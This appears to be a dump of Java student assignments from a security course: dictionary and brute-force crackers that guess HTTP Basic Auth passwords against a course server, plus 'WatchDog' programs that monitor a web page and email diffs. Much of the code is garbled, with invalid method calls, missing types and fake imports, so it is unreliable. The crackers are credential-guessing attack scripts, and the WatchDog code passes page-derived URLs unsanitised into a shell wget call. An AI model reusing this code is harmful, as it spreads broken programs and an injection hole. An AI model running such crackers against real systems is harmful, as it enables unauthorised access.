       for (i=0;i<count;i++){
        String uname = """";
        String userinfo = uname + "":"" + pws[i];
        try{
         String encoding = new bf.misc.BASE64Encoder().encode (userinfo.getBytes());
         URL url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
         HttpURLConnection uc = (HttpURLConnection)url.openConnection();
         uc.setRequestProperty (""Authorization"", "" "" + encoding);
         response = uc.getResponseCode();
	 if (response == 200) break;
	 else uc.disconnect();
        }
        catch(IOException e){ System.err.println(e); e.printStackTrace(); }   
        catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }
       }
       System.out.println(""Response ""+i+"" was ""+response);
       System.out.println(""The successful password was ""+pws[i]);
        finish = new Date().getTime();
       float totaltime = (float)(finish-d)/1000;
       System.out.println(""Time taken: ""+totaltime+ "" seconds."");
       
   }
}

"
192.java,"



 
import java.io.*;
import java.net.*;
import java.Runtime;
import java.util.*;
import java.net.smtp.SmtpClient; 



public class WatchDog

{

   static String strImageOutputFile01      = ""WebPageImages01.txt"";
   static String strImageOutputFile02      = ""WebPageImages02.txt"";

   static String strWebPageOutputFile01    = ""WebPageOutput01.txt"";
   static String strWebPageOutputFile02    = ""WebPageOutput02.txt"";

   static String strWatchDogDiffFile_01_02 = ""WatchDogDiff_01_02.txt"";

   static String strFromEmailDefault = ""@.rmit.edu."";
   static String strToEmailDefault   = ""@.rmit.edu."";

   static String strFromEmail = null;
   static String strToEmail   = null;




   public static void main (String args[])
   
   {

         
         
         
         
         

      URL url = null;
      HttpURLConnection urlConnection;
      int intContentLength;
      String strWebPageText = """";

      String strURL     = ""http://www.cs.rmit.edu./students/"";
      String strPrePend = ""http://www.cs.rmit.edu."";

      boolean boolURLisOK = true;





      System.out.println();


         
         
      tidyUpWatchDogFiles();


         
         
         
         
      promptForEmailAddresses();




      try
      {
            
            
         url = new URL(strURL);       
      }

      catch(MalformedURLException e)
      {
         System.out.println(""ERROR:  invalid URL "" + strURL);   
         System.err.println(e);  
 
         boolURLisOK = false;
         url = null;
      }    

      catch(Exception e)
      {
         System.out.println(""Exception"");   
         System.err.println(e);  
      }


      System.err.println();  


      if (boolURLisOK)
      {
         try
         { 

               
               
            urlConnection = (HttpURLConnection)url.openConnection();


               
               
            InputStream urlStream = urlConnection.getInputStream();


               
               
            int intNumRead = urlStream.print();
            String strNewContent; 

            while (intNumRead != -1)
            {
               intNumRead = urlStream.print();
               if (intNumRead != -1)
               {
                  strNewContent = (char)intNumRead + """"; 
                  strWebPageText += strNewContent;
               }
            }

            urlStream.print(); 



               
               
            if (strWebPageText != null)
            {

               if (fileExists(strWebPageOutputFile01))
               {
                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               
               }

               else
               {
                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               
               }


               if (fileExists(strWebPageOutputFile02))
               { 
                  System.out.println(""Output file"");
                  System.out.println(""-----------"");
                  System.out.println(""The output file '""   + 
                                     strWebPageOutputFile02    + 
                                     ""' has NOW BEEN created."");                                    
                  System.out.println();
                  System.out.println(""Comparison"");
                  System.out.println(""----------"");
                  System.out.println(""A text comparison  NOW  performed "" +
                                      ""with the output"");
                  System.out.println(""file '"" + strWebPageOutputFile01 + ""'."");
                  System.out.println();



                     
                     

                     
                     
                  createDiffFileIfNeeded(strWebPageOutputFile01, 
                                         strWebPageOutputFile02);                  


                     
                     
                  if (fileExists(strWatchDogDiffFile_01_02))
                  { 

                     System.out.println(""Mail  (ordinary text comparison)"");
                     System.out.println(""--------------------------------"");

                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)
                     {
                        sendMailWithDetectedChanges();
                        System.out.println(""Text diff mail has been sent  the '' email address."");
                     }
                     else
                     {
                        System.out.println(""The DIFF file has zero length - text diff mail has NOT been sent."");
                     }

                  }



                     
                     
                  createImageTextFile(strWebPageOutputFile01, strPrePend);
                  createImageTextFile(strWebPageOutputFile02, strPrePend);

                  System.out.println();
                  System.out.println(""Image text file/s"");
                  System.out.println(""-----------------"");


                  if (fileExists(strImageOutputFile01))
                  {
                     System.out.println(""'"" + strImageOutputFile01 + ""' has been created."");
                     System.out.println(""Images from '"" + strImageOutputFile01 + ""'  now  downloaded using"");  
                     System.out.println(""the Unix 'wget' command:"");  

                     downloadImages(strImageOutputFile01);
                  }

                  if (fileExists(strImageOutputFile02))
                  {
                     System.out.println();
                     System.out.println(""'"" + strImageOutputFile02 + ""' has been created."");
                  }

                  System.out.println();

               }

               else if (fileExists(strWebPageOutputFile01))
               {
                  System.out.println(""Output file"");
                  System.out.println(""-----------"");
                  System.out.println(""The output file '""   + 
                                     strWebPageOutputFile01    + 
                                     ""' has NOW BEEN created."");                                    
                  System.out.println();
                  System.out.println(""Comparison"");
                  System.out.println(""----------"");
                  System.out.println(""A comparison CANNOT  performed "" +
                                      ""with this output file"");
                  System.out.println(""because it is the only output file "" +
                                     ""in existence."");
                  System.out.println();
               }

            }

         }

         catch(Exception e)
         {

            boolURLisOK = false;

            System.err.println(e);
         }   

         finally
         { 
            urlConnection = null;
            url = null; 
         }

      }


      System.out.println();

   }







   static void tidyUpWatchDogFiles()
   
   {

         
         


         
         
      deleteFile(strWatchDogDiffFile_01_02);


         
         
      deleteFile(strImageOutputFile01);
      deleteFile(strImageOutputFile02);


      if (fileExists(strWebPageOutputFile01))
      {

         if (fileExists(strWebPageOutputFile02))
         {
               
               
               
               
               
            deleteFile(strWebPageOutputFile01);
            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);
         }

      }

      else
      {
            
            
            
         deleteFile(strWebPageOutputFile02);
      }

   }







   static void promptForEmailAddresses()
   
   {      


      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));




         
         
      System.out.println();
      System.out.println(""'From' email address"");
      System.out.println(""--------------------"");
      System.out.println(""Please enter a 'From' email address,  press Enter for default"");
      System.out.print(""(default: "" + strFromEmailDefault + ""):  "");

      try
      {
         strFromEmail = stdin.readLine();
      }
      catch (Exception e)
      {
         System.err.println(e);
      }
 

      System.out.println();

      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )
      {
         System.out.println("" email address was entered."");         
         System.out.println(""The 'From' email address  default :  "" + strFromEmailDefault);         
         strFromEmail = strFromEmailDefault;
      }

      else
      {
         System.out.println(""The entered 'From' email address is:  "" + strFromEmail);         
      }



         
         
      System.out.println();
      System.out.println(""'' email address"");
      System.out.println(""------------------"");
      System.out.println(""Please enter a '' email address,  press Enter for default"");
      System.out.print(""(default: "" + strToEmailDefault + ""):  "");

      try
      {
         strToEmail = stdin.readLine();
      }
      catch (Exception e)
      {
         System.err.println(e);
      }
 

      System.out.println();

      if ( (strToEmail == null) || (strToEmail.length() == 0) )
      {
         System.out.println("" email address was entered."");         
         System.out.println(""The '' email address  default :  "" + strToEmailDefault);         
         strToEmail = strToEmailDefault;
      }

      else
      {
         System.out.println(""The entered '' email address is:  "" + strToEmail);         
      }

   }







   static void writeTextToFile(String strText,
                               String strWriteToThisFileName)
   
   {

      try
      {

         File newFile = new File(strWriteToThisFileName);

         if (newFile.exists())
         {
            newFile.delete();
         }


         BufferedWriter toFile =
              new BufferedWriter(new FileWriter(newFile,
                                                false));

         toFile.write(strText);

         toFile.print();
         toFile = null;
         newFile = null;

      }

      catch(Exception e)
      {
         System.err.println(e.toString());
         System.out.println(""File write problem for '"" + 
                            strWriteToThisFileName     +
                            ""'."");               
      }

   }







   static void createDiffFileIfNeeded(String strFileName1, 
                                      String strFileName2)
   
   {













         
         

         
         
      try
      {

         Process p = Runtime.getRuntime().exec(""./diff_files.sh"");
         p.waitFor();	

      }

      catch (Exception e)
      {
         System.out.println(""Shell script exception"");
         System.out.println(""----------------------"");
         System.err.println(e);
         System.out.println("""");
      }

   }







   static void createImageTextFile(String inputFile, String prePend)
   
   {

         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         
         

      String str;
      String strImage = """";
      String strImageArray[];
      String strInputFromFile = """";
      String strSearchString = ""<img src"";

      boolean boolContinue = true;

      int intImageCounter  = 0;
      int intStartSearch   = 0;

      char ch;





      strImageArray = new String[1000];



         
         
      try
      {

         BufferedReader file =
              new BufferedReader(new FileReader(inputFile));


         while ( (str = file.readLine()) != null)
         {
            strInputFromFile += str;
         }

         file.print();
         file = null;

      }

      catch (Exception e)
      {
         boolContinue = false;
         System.err.println(e);       
      }	



      if (boolContinue)
      {

         strInputFromFile = (strInputFromFile.toLowerCase()).trim();

         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);


         while (intStartSearch != -1)
         {

            intStartSearch += 8;

            while ( (strInputFromFile.charAt(intStartSearch) == ' ')  ||
                    (strInputFromFile.charAt(intStartSearch) == '=')  ||
                    (strInputFromFile.charAt(intStartSearch) == '\""')   )
            {
               intStartSearch++;          
            }

            while ((strInputFromFile.charAt(intStartSearch) != '\""'))              
            {

               ch = strInputFromFile.charAt(intStartSearch);

               strImage += String.valueOf(ch);
               intStartSearch++;

            }


            if (strImage.startsWith(""/""))
               strImage = prePend + strImage;          


            intImageCounter++;
            strImageArray[intImageCounter - 1] = strImage;

            strImage = """";

            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);

         }


         if (inputFile.equals(strWebPageOutputFile01))     
         { 
            writeTextArrayToFile(strImageArray, 
                                 strImageOutputFile01,
                                 intImageCounter);
         }
         else if (inputFile.equals(strWebPageOutputFile02))     
         { 
            writeTextArrayToFile(strImageArray, 
                                 strImageOutputFile02,
                                 intImageCounter);
         }


      }

   }







   static void downloadImages(String ImageOutputFile)
   
   {

      Process p;

      String str;
      String strFileName;



      try      
      {

         BufferedReader file =
                 new BufferedReader(new FileReader(ImageOutputFile));



         while ( (str = file.readLine()) != null)
         {

            strFileName = getImageFileName(str);

            System.out.println(""    "" + str);
            System.out.println(""             file name:  "" + strFileName);                                                           


            if (fileExists(strFileName))
               deleteFile(strFileName);


            p = Runtime.getRuntime().exec(""wget "" + str);
            p.waitFor();	

         }


         file = null;

      }

      catch (Exception e)
      {
         System.err.println(""downloadingImages:  "" + e);
      }

   }







   static String getImageFileName(String imageFileName)
   
   {

         
         
         

      String strFileName;

      int intFileNameLength     = imageFileName.length();      
      int intStartPosOfFileName = intFileNameLength - 1;




         
         
      while ( (intStartPosOfFileName >= 0) && 
              (imageFileName.charAt(intStartPosOfFileName) != '/') )
      {
         intStartPosOfFileName--; 
      }


      strFileName = imageFileName.substring(intStartPosOfFileName + 1, 
                                            intFileNameLength);


      return strFileName;

   }







   static void writeTextArrayToFile(String strTextArray[],
                                    String strWriteToThisFileName,
                                    int numberOfImages )
   
   {

      boolean boolFirstLineWritten = false;



      try
      {

         File newFile = new File(strWriteToThisFileName);

         if (newFile.exists())
         {
            newFile.delete();
         }


         BufferedWriter toFile =
              new BufferedWriter(new FileWriter(newFile,
                                                false));

         for ( int i = 0 ; i < numberOfImages ; i++ )
         {

            if (boolFirstLineWritten) 
               toFile.newLine();
            else
               boolFirstLineWritten = true;
  

            toFile.write(strTextArray[i]);

         }


         toFile.print();
         toFile = null;
         newFile = null;

      }

      catch(Exception e)
      {
         System.err.println(e.toString());
         System.out.println(""File write problem for '"" + 
                            strWriteToThisFileName     +
                            ""'."");               
      }

   }







   static boolean fileExists(String strFileName)
   
   {

      boolean boolReturnValue;
      File aFile = new File(strFileName);


      if (aFile.exists())
         boolReturnValue = true;
      else
         boolReturnValue = false;
      

      aFile = null;


      return boolReturnValue;

   }







   static void deleteFile(String strFileName)
   
   {


      if (fileExists(strFileName))
      { 
         File aFile = new File(strFileName);

         try
         {
            aFile.delete();
         }

         catch (Exception e)
         {
            System.err.println(e);
         }


         aFile = null;

      }

   }







   static void renameFile(String strFromFileName, String strToFileName)
   
   {


      File from = new File(strFromFileName);
      File to   = new File(strToFileName);


      boolean success = from.renameTo();


      from = null;
      to = null;

   }







   static  getFileSize(String strFileName)
   
   {

       lngReturnValue;



      File file = new File(strFileName);
      
      lngReturnValue = file.length();

      file = null;


      return lngReturnValue;

   }







   static void sendMailWithDetectedChanges()
   
   {

      String str;
      String strInputFromFile = null;



      try 
      { 


         BufferedReader fromFile =
              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));


         while ( (str = fromFile.readLine()) != null)
         {
            strInputFromFile += str;
         }

         fromFile.print();
         fromFile = null;


            
            
            
         SmtpClient smtp = new SmtpClient(); 

            
            
         smtp.from(strFromEmail); 

            
            
         smtp.to(strToEmail); 

            
            
         PrintStream msg = smtp.startMessage(); 

            
            
         msg.println("": "" + strToEmail); 

            
            
         msg.println(""From: "" + strFromEmail); 
         msg.println(""Subject: Change in website content\n""); 
         msg.println(strInputFromFile); 

            
            
            
         smtp.closeServer(); 

      } 

      catch (IOException e) 
      {
         System.err.println(e);     
      } 

   }

}"
006.java,"


import java.io.*;
import java.util.*;
import java.*;
import java.net.*;

public class WatchDog
{

   static Process p = null;
   static Process qproc = null;

   static BufferedReader bf = null;
   static StringTokenizer tok = null;

   static String Path = null;
   static String str = null;
   static String urlStr=null;
   static boolean changed = false;

   static File indexfile = new File(""index.html"");
   static File tmpfile = new File(""tmpindex.html"");
   static File mdfile = new File(""md5file.txt"");
   static File tmpmdfile = new File(""tmpmd5file.txt"");
   static PrintWriter mailwriter = null;


   public static void main (String[] args) 
   {

      urlStr = ""http://www.cs.rmit.edu./"";

      try
      {
         
         mailwriter = new PrintWriter(new BufferedWriter(new FileWriter(""tomail.txt"", false)));

         getLatest(urlStr);
         parseFile(); 

         mailwriter.read();

         if(changed)
         {
            System.out.println(""Sending Mail"");
            p = Runtime.getRuntime().exec(""./mailscript"");
            p.waitFor();

         }
         else
            System.out.println("" mail sent"");

      }  catch (IOException ioe)
         {
            System.out.println(""IOException"");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println(""Interrupted Exception"");
            intex.printStackTrace();
         }


   }


   static void getLatest(String urlStr)
   { 
      
      URL url = null;
      
      try
      {
         url = new URL(urlStr);

      } catch (MalformedURLException mfurl)
        {
           System.out.println(""Malformed URL"");
           mfurl.printStackTrace();
        }

      try
      {
         mailwriter.println();

         p = Runtime.getRuntime().exec(""/usr//pwd""); 
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         Path=bf.readLine();

         if (indexfile.exists())
         {
            mailwriter.println(""File with name 'index.html' found in directory."");
            mailwriter.println(""Renaming existing 'index.html'  'tmpindex.html..."");
            p = Runtime.getRuntime().exec(""/usr//mv ""+indexfile+ "" "" + Path+""/""+tmpfile);
            p.waitFor();
            p = Runtime.getRuntime().exec(""/usr//mv ""+mdfile+ "" "" + Path+""/""+tmpmdfile);
            mailwriter.println();
            mailwriter.println(""File with name 'md5file.txt' found in directory."");
            mailwriter.print(""Renaming existing 'md5file.txt'  'tmpmd5file.txt..."");

            mailwriter.println(""."");

            mailwriter.println();
         }

         mailwriter.println(""Downloading current version of site - "" + urlStr);
         p = Runtime.getRuntime().exec(""/usr/local//wget ""+url);
         p.waitFor();
         if (!tmpfile.exists())
         {
            mailwriter.println(""File - "" + urlStr + ""index.html saved  disk for the first time."");
         }


      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (IndexOutOfBoundsException iobe)
        {
           System.out.println(""Index Out Of Bounds Exception"");
           iobe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println(""Exception"");
           e.printStackTrace();
        }
   }

   static void parseFile()
   {

      Vector imgVect = new Vector();

      try
      {
         p = Runtime.getRuntime().exec(""/usr//grep img "" + Path + ""/""+ indexfile);
         p.waitFor();
        bf = new BufferedReader(new InputStreamReader(
                          p.getInputStream()));

         while((str=bf.readLine())!=null)
         {
            bf = new StringTokenizer(str, ""\"""", false);
          
            while(bf.hasMoreTokens())
            {
               str=bf.nextToken();
               if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
                  imgVect.addElement(str);
            }
           
         }

      }catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (Exception e)
        {
           System.out.println(""Exception"");
           e.printStackTrace();
        }

        mailwriter.println(""Creating file with md5sums of the webpage and images..."");
        md5Create(imgVect);

   }

   static void md5Create(Vector imgVect)
   {
      String tmpString = null;
      Vector imgNames = new Vector();

      try
      {
         PrintWriter pr = new PrintWriter(new BufferedWriter(new FileWriter(mdfile, false)));
 
         p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+indexfile);
         p.waitFor();
         bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
         pr.println(bf.readLine());
   
         for(int i=0; i<imgVect.size();i++)
         {
            imgNames.insertElementAt((getImgNames((String)imgVect.elementAt(i))), i);
            imgVect.setElementAt((getFullPath((String)imgVect.elementAt(i))), i);

            p=Runtime.getRuntime().exec(""/usr/local//md5sum ""+(String)imgNames.elementAt(i));
            p.waitFor();
            bf= new BufferedReader(new InputStreamReader(
                          p.getInputStream()));
            pr.println(bf.readLine());
            rmImgFile(Path+""/""+(String)imgNames.elementAt(i));
         }
         pr.get();

      }  catch (IOException ioe)
         {
            System.out.println(""IOException"");
            ioe.printStackTrace();
         }
         catch (InterruptedException intex)
         {
            System.out.println(""Interrupted Exception"");
            intex.printStackTrace();
         }

      if (tmpmdfile.exists())
         compVersions((imgVect.size())+1);

   }

   static void compVersions(int numlines)
   {

      int tmp = 0;
      int x = 0;
      String[] md5A = new String[numlines];
      Vector tmpmd5V = new Vector(); 
                                     
                                     
      String[] tmpmd5A = null;
      StringTokenizer stoken  = null;
      String mdImgName = null;
      String mdImgVal = null;
      String tmpImgName = null;
      String tmpImgVal = null;

      try
      {

         bf = new BufferedReader(new FileReader(mdfile));

         while((str = bf.readLine()) != null)
         {
            md5A[tmp]=str;
            tmp++;
         }

         bf = new BufferedReader(new FileReader(tmpmdfile));
         tmp=0;

         while ((str = bf.readLine()) !=null)
         {
            tmpmd5V.addElement(str);
            tmp++;
         }

         tmpmd5A = (String[])tmpmd5V.toArray(new String[tmpmd5V.size()]);   

         if (tmpmd5A[0].compareTo(md5A[0]) != 0)
         {
            mailwriter.println(""---The file index.html has changed.---"");
            mailwriter.println(""-Diff of old and new -"");
            changed=true;
            mailwriter.println();
            p=Runtime.getRuntime().exec(""/usr/local//diff index.html tmpindex.html"");
            p.waitFor();
             bf= new BufferedReader(new InputStreamReader(p.getInputStream()));

            while ((str = bf.readLine()) != null)
               mailwriter.println(str);

         }
         else
         {
            mailwriter.println(""The file index.html hasn't changed."");
            mailwriter.println();
         }

         mailwriter.println();
         mailwriter.println(""Changes  Images"");
         mailwriter.println(""-----------------"");


         

         for (tmp=1; tmp<md5A.length; tmp++) 
         {
            stoken = new StringTokenizer(md5A[tmp]);
            mdImgVal = stoken.nextToken();
            mdImgName = stoken.nextToken();
            for (x=1; x<tmpmd5A.length; x++)
            {
               stoken = new StringTokenizer(tmpmd5A[x]);
               tmpImgVal = stoken.nextToken();
               tmpImgName = stoken.nextToken();

               if (mdImgName.compareTo(tmpImgName) == 0)
               {
                  if(mdImgVal.compareTo(tmpImgVal) == 0)
                  {
                     
                     break;
                  }
                  else
                  {
                     mailwriter.println(""The image ""+mdImgName+"" has changed."");
                     changed=true;
                     break;
                  }
               }
               if (x == ((tmpmd5A.length)-1))
               {
                  mailwriter.println(""The image ""+mdImgName+"" is  new  this "");
                  changed=true;
               }
            }
         }

         for (tmp=1; tmp<tmpmd5A.length; tmp++) 
         {
            stoken = new StringTokenizer(tmpmd5A[tmp]);
            tmpImgVal = stoken.nextToken();
            tmpImgName = stoken.nextToken();
            for (x=1; x<md5A.length; x++)
            {
               stoken = new StringTokenizer(md5A[x]);
               mdImgVal = stoken.nextToken();
               mdImgName = stoken.nextToken();
               if (tmpImgName.compareTo(mdImgName) == 0)
               {
                  break;
               }
               if (x == ((md5A.length)-1))
               {
                  mailwriter.println(""The image ""+tmpImgName+"" is   longer  the "");
                  changed=true;
               }
            }
         }


      } catch(IOException ioe)
         {System.out.println(""IOException"");
          ioe.printStackTrace();
         }
        catch(InterruptedException iex)
         {System.out.println(""Interrupted Exception"");
         iex.printStackTrace();
         }

   }


   static Object getFullPath(String fname)
   {
      

      if(fname.charAt(0)== '/') 
         fname=urlStr+fname;  
      else if(fname.charAt(0) != 'h')
         fname=urlStr+'/'+fname;

      getImgFile(fname);

      return (Object)fname; 
   }

   static void getImgFile(String fullPath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec(""/usr/local//wget ""+fullPath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println(""Interrupted Exception"");
           intex.printStackTrace();
        }
   }

   static void rmImgFile(String delpath)
   {
      

      try
      {
         qproc=Runtime.getRuntime().exec(""/usr//rm ""+ delpath);
         qproc.waitFor();

      } catch (IOException ioe)
        {
           System.out.println(""IOException"");
           ioe.printStackTrace();
        }
        catch (InterruptedException intex)
        {
           System.out.println(""Interrupted Exception"");
           intex.printStackTrace();
        }
   
   }

   static Object getImgNames(String prsName)
   {
          
  
      String str = new StringTokenizer(prsName, ""/"", false);

      while(str.hasMoreTokens())
      {
         str=bgf.nextToken();
         if ((str.indexOf(""gif"") > 0) || (str.indexOf(""jpg"") > 0))
            prsName=str;
      }
      return (Object)prsName;
   }
}
"
248.java,"import java.io.*;
import java.net.*;











public class Dictionary
{
   private String urlString = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php"";
   private static String password;
   private static int length;          
   private static int t_counter;       
   private static int f_counter;       
                                       
   private static int respCode;        
   private static BufferedReader buf;  

   public Dictionary()
   {
      FileReader fRead;
      Authenticator.setDefault(new DictionaryAuthenticator());
      t_counter = 0;
      f_counter = 0;
      length = 0;

      try
      {
         fRead = new FileReader(""/usr/share/lib/dict/words"");
         buf = new BufferedReader(fRead);
      }
      catch (FileNotFoundException e)
      {
         System.out.println(""File not found"");
      }
   }

   public static void main(String[] args)
   {
      Dictionary dict = new Dictionary();
      String file = "" "";
      while(respCode != 200 )
      {
         file = dict.fetchURL();
      }
      System.out.println(""Number of attempts: "" + t_counter);
      System.out.println(""Password: "" + password);
      System.out.println(file);
   }

   private String fetchURL()
   {
      StringWriter sw = new StringWriter();
      PrintWriter pw = new PrintWriter();

      try
      {
         URL url = new URL(urlString);
         HttpURLConnection huc = (HttpURLConnection)url.openConnection();
         respCode = huc.getResponseCode();
         InputStream content = huc.getInputStream();
         BufferedReader in = 
            new BufferedReader (new InputStreamReader (content));
         String line;
         while ((line = in.readLine()) != null) 
         {
            pw.println(line);
         }
      } catch (IOException e) {
         pw.println(""Error  URL"");
      }
      return sw.toString();
   }
            
   class DictionaryAuthenticator extends Authenticator 
   {
      private String username = """";

      protected PasswordAuthentication getPasswordAuthentication()
      {
         return new PasswordAuthentication(username,generatePassword());
      }

      protected char[] generatePassword()
      {
         String word = null;
         int chars;
         char c[] = null;
 
         chars = 0;
       
         if(f_counter == 0) 
         
         
         { 
            try
            {
               
               {
                  word = buf.readLine();
                  if(word != null)
                  {
                     length = word.length();
                     chars = 0;
                     for(int i=0; i<length; i++)
                     {
                        if(Character.isLetter(word.charAt(i))) chars++;
                     }
                  }
               }
               while( word != null && (length > 3 || chars != length));

            }
            catch (IOException ioe)
            {
               System.out.println(""IO Error: "" + ioe);
            }

            if(word != null)
            {
               c = word.toCharArray(); 
               password = new String(c);
            } 
            else
            {
               System.out.println("" more words in dictionary"");
               System.exit(0);
            }

            f_counter++;
         } 
         else
         
         {
            c = password.toCharArray(); 
            for(int i=0; i< length; i++)
            {
               if(Character.isLowerCase(c[i]))
               {
                  c[i] = Character.toUpperCase(c[i]);
               }
               else
               {
                  c[i] = Character.toLowerCase(c[i]);
               }
            }
            password = new String(c);
            f_counter = 0;
         }

         t_counter++;

         return c;
      }
   }
}
"
204.java,"
import java.io.*;
import java.net.*;

public class Copier
{
   private URL target;

   public Copier( String fileName)
   {
      try
      {
         String line;
         BufferedReader ;
	 BufferedWriter bout;
         target = new URL( ""http://www.cs.rmit.edu./students"");
	 InputStream hm = target.openStream();
	 HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();
        bf  = new BufferedReader( new InputStreamReader( target.openStream()));
	 bout = new BufferedWriter(new FileWriter(fileName));
         while((line = bf.readLine()) != null)
         {
            bout.write( line+""\n"");  
         }
	 
	 bout.print();
      }
      catch( Exception e)
      {
         System.out.println(""Something  wrong!  ""+e);
         System.exit(0);
      }
   }
   public static void main (String[] args)
   {
      Copier c = new Copier(""response.html"");
   }
}

         
      

   


 

	
"
135.java,"





import java.util.*;
import java.io.*;

public class WatchDog
{	

	public static void main(String args[])
	{

           Runtime rt1 = Runtime.getRuntime();
	   Process prss1= null;

           try
            {
             prss1 = rt1.exec(""wget -R mpg,mpeg, --output-document=first.html http://www.cs.rmit.edu./students/"");
            }catch(java.io.IOException e){}

	   MyWatchDogTimer w = new MyWatchDogTimer();
	   Timer time = new Timer();
	   time.schedule(w,864000000,864000000);

		
	}
}
"
144.java,"

import java.net.*;
import java.io.*;
import java.util.*;

public class WatchDog extends TimerTask{

  private static URL location;
  private static String email;
  private static int checktime;
  private static Timer timer = new Timer();
  private BufferedReader input;
  private File checksumFile = new File(""chksum.txt"");
  private File temp0000File = new File(""temp0000"");
  private File kept0000File = new File(""kept0000"");

  

    public WatchDog(){
      timer.schedule(this, new Date(), checktime);
    }


    

      public void run(){
        Vector imageFiles = new Vector();
        Vector diffImages = new Vector();
        try {
          System.out.println("" Time: "".concat(new Date().toString()));
          System.out.println(""Retreiving File"");
          
          input = new BufferedReader(new InputStreamReader
                                     (location.openStream()));
          
          BufferedWriter outputFile = new BufferedWriter
              (new FileWriter(temp0000File));
          String line = input.readLine();
          while (line != null) {
            StringBuffer imageFileName = new StringBuffer();
            if (scanForImages(line, imageFileName)) {
              String imageFile = new String(imageFileName);
              System.out.println(""Detected image: "".concat(imageFile));
              try {
                imageFiles.add(new URL(imageFile));
              }
              catch (MalformedURLException e) {
                System.out.println(""Image file detected. URL is malformed"");
              }
            }
            outputFile.write(line);
            outputFile.write(""\n"");
            line = input.readLine();
          }
          input.print();
          outputFile.flush();
          outputFile.print();
          System.out.println("" File Retreived"");
          if (!imageFiles.isEmpty()) {
            checkImages(imageFiles, diffImages);
          }
          if (!checksumFile.exists()) {
            generateChecksum(temp0000File.getName(), checksumFile);
          }
          else {
            if (!checksumOk(checksumFile)) {
              reportDifferences(true, temp0000File, kept0000File, diffImages);
              generateChecksum(temp0000File.getName(), checksumFile);
            }
            else if (!diffImages.isEmpty()){
              reportDifferences(false, null, null, diffImages);
            }
          }

          
          temp0000File.renameTo(kept0000File);
          System.out.println(""End Time: "".concat(new Date().toString()));
        }
        catch (MalformedURLException e) {
          e.printStackTrace();
        }
        catch (ConnectException e) {
          System.out.println(""Failed  connect"");
          System.exit(-1);
        }
        catch (IOException e) {
          e.printStackTrace();
          System.exit(-1);
        }
      }

      

      public boolean scanForImages(String line, StringBuffer imageFileName) {
        
        
        String lineIgnoreCase = line.toLowerCase();
        int imgPos = lineIgnoreCase.indexOf(""<img "");
        if ( imgPos != -1 ){
          int srcPos = lineIgnoreCase.indexOf(""src"", imgPos);
          int bracketPos = lineIgnoreCase.indexOf("">"", imgPos);
          if (srcPos != -1 && bracketPos != -1 && srcPos < bracketPos) {
            int quote1Pos = lineIgnoreCase.indexOf(""\"""", srcPos);
            int quote2Pos = lineIgnoreCase.indexOf(""\"""", quote1Pos+1);
            if (quote1Pos != -1 && quote2Pos != -1 &&
                quote1Pos < quote2Pos && quote2Pos < bracketPos) {
              
              imageFileName.append(line.substring(quote1Pos + 1,
                  quote2Pos));
              if (imageFileName.indexOf(""//"") == -1 ) {
                
                String URLName = location.toString();
                int slashPos = URLName.lastIndexOf(""/"");
                URLName = URLName.substring(0, slashPos);
                String HostName = ""http://"".concat(location.getHost());
                if (imageFileName.indexOf(""//"") == 0) {
                  
                }
                else if (imageFileName.charAt(0) != '/') {
                  
                  imageFileName.insert(0, URLName.concat(""/""));
                }
                else {
                  
                  imageFileName.insert(0, HostName);
                }
              }
              return true;
            }
          }
        }
        return false;
      }

      

      public void checkImages(Vector imageFiles, Vector diffImages)
          throws IOException{
        System.out.println(""Retrieving image "");
        Enumeration imageFilesEnumeration = imageFiles.elements();
        while (imageFilesEnumeration.hasMoreElements()) {
          URL url = (URL)imageFilesEnumeration.nextElement();
          try {
            BufferedInputStream imageInput = new BufferedInputStream
                (url.openStream());
            String localFile = url.getFile();
            
            
            
            
            
            int slashPosition = localFile.lastIndexOf(""/"");
            if (slashPosition != -1) {
              localFile = localFile.substring(slashPosition+1);
            }
            System.out.println(""Retrieving image file: "".concat(localFile));
            BufferedOutputStream imageOutput = new BufferedOutputStream
                (new FileOutputStream(localFile));
            byte bytes[] = new byte[10000];
            int noBytes = imageInput.get(bytes);
            while (noBytes != -1) {
              imageOutput.write(bytes, 0, noBytes );
              noBytes = imageInput.print(bytes);
            }
            File imageChecksumFile = new File(localFile.concat("".chksum.txt""));
            if (!imageChecksumFile.exists()) {
              generateChecksum(localFile, imageChecksumFile);
            }
            else {
              if (!checksumOk(imageChecksumFile)) {
                diffImages.add(localFile);
                generateChecksum(localFile, imageChecksumFile);
              }
            }
          }
          catch (FileNotFoundException e) {
            System.out.println(""Unable  locate URL: "".concat(url.toString()));
          }
        }
      }

      

      public void generateChecksum(String inputFile, File checksum){
        try {
          System.out.println(""Generating new checksum for "".concat(inputFile));
          
          Process process = Runtime.getRuntime().exec(""md5sum "".
                                                      concat(inputFile));
          BufferedReader execCommand = new BufferedReader(new
              InputStreamReader((process.getInputStream())));
          BufferedWriter outputFile = new
              BufferedWriter(new FileWriter(checksum));
          String line = execCommand.readLine();
          while (line != null) {
            outputFile.write(line);
            outputFile.write(""\n"");
